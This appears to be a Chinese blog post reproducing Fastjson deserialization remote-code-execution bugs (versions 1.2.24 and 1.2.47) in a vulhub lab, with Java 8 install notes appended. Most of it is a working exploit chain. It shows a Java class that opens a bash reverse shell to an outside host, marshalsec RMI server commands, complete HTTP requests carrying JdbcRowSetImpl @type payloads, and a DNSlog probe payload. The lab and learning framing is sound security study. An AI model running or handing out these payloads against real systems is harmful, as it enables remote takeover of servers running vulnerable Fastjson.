欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Fastjson 反序列化漏洞复现

程序员文章站 2022-05-26 08:38:49
...

Fastjson 反序列化漏洞复现

前言

因为之前并没有遇到过fastjson相关的漏洞,刚好这次有机会碰到了就顺便学习一下并记录自己踩过的坑。

漏洞描述

fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

漏洞复现

这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建,搭建完成以后访问8090端口会出现如下所示
Fastjson 反序列化漏洞复现
漏洞利用需要我们在vps上启一个RMI服务并调用class文件,这些我们都可以在一台服务器上完成。
首先我们先创建命令执行代码,执行命令反弹shell,创建test.java,使用命令javac test.java编译生成test.class(整个实验环境都是基于java8的基础上)

import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类test.class
我们首先需要编译生成marshalsec-0.0.3-SNAPSHOT-all.jar,这里踩过一个坑,之前服务器上装的jdk11后来在操作过程中不断报错,后来经过排查发现这个jar包需要使用java8来进行编译,文末我会附上相关安装教程。

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

出现如下图所示代表编译完成,去target目录下即可查看到
Fastjson 反序列化漏洞复现
我们先启一个http服务方便等会加载test.class

# python2
python2 -m SimpleHTTPServer
# python3 
python3 -m http.server

然后我们再启RMI服务监听9999端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999

Fastjson 反序列化漏洞复现
本地服务器监听8002端口

nc -nvlp 8002

以上所有操作均在同一台服务器上完成

fastjson 1.2.24

请求包

POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://59.110.xx.xx:9999/Test",
        "autoCommit":true
    }
}

发送请求以后回服务器查看返回的shell
Fastjson 反序列化漏洞复现

fastjson 1.2.47

请求包

POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://59.110.xx.xx:9999/test",
        "autoCommit":true
    }
}

查看shell
Fastjson 反序列化漏洞复现

附录

Fastjson漏洞探测

DNS log

在http://dnslog.cn/随机生成一个域名,然后构造payload

{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}

将payload放在请求主体里发送,假如dnslog有记录则存在fastjson漏洞
Fastjson 反序列化漏洞复现

payload探测

Fastjson 反序列化漏洞复现

安装java8

下载地址:https://github.com/frekele/oracle-java/releases
下载jdk-8u221-linux-x64.tar.gz

卸载

# 查看安装的OpenJDK包
dpkg --list | grep -i jdk
# 卸载OpenJDK相关包
apt-get purge openjdk-*
# 检查所有 OpenJDK包是否都已卸载完毕
dpkg --list | grep -i jdk

安装

# 将压缩包放到/opt/java目录下
mv jdk-8u212-linux-x64.tar.gz /opt/java

# 解压
tar -zxvf jdk--8u212-linux-x64.tar.gz

# 配置环境变量
修改/etc/profile文件
vim /etc/profile
在文末追加如下信息
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre  
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}

# 使java环境生效
source /etc/profile

# 查看是否安装成功 
java -version

如下所示代表安装成功
Fastjson 反序列化漏洞复现

参考

https://zhuanlan.zhihu.com/p/99075925
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

相关标签: 漏洞 渗透测试